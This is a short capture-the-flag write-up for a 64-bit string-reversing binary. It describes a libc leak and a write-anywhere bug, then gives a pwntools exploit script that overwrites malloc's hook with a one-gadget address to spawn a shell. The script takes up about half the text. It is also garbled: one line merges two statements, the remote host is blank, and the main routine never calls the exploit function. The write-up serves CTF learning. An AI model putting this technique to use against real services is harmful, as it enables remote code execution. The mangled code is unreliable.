Binary (64 Bit) and libc provided. Actually I dont know what the binary really does (it was late), it somehow messes with the heap and stack. But lets begin with it’s functionality, it just reverses a string. As there was a malloc and free involved I was exited, expecting some heap exploitation. So I just played around and “reversed” two large strings and wanted to look at the result. Aaaand it crashed when I tried to enter the second string because it wanted to write the input at 0x4141414141414141. Uh well I don’t know whats going on but that was an easy write anything anywhere primitive. Also it was possible to leak a libc base because the buffer was not cleared before use. We now have everything we need for pwn. The idea is as follows:

  • leak libc base
  • do magic by writing large input and let the next read write to malloc hook
  • overwrite malloc hook with one gadget
  • malloc gets called, we get a shell

To meet the one gadget constraints I used zerobytes instead of the good old As.

from pwn import *

r = remote("", 12345)

def act(data):
    r.recvuntil("reverse: ")
    res = r.recvuntil("input: ")[:-7][::-1]
    return res

def sploit():
    libc = struct.unpack("<Q", act("A" * 8)[10:].ljust(8, '\x00'))[0] - 0x3c5620"libc {:x}".format(libc))
    arr = [0] * 0x80
    arr[19] = libc + 0x3c67a8
    act(struct.pack("<" + "Q" * len(arr), *arr))
    r.send(struct.pack("<Q", libc + 0xf02a4))

if __name__ == '__main__':
    r.recvuntil("input: ")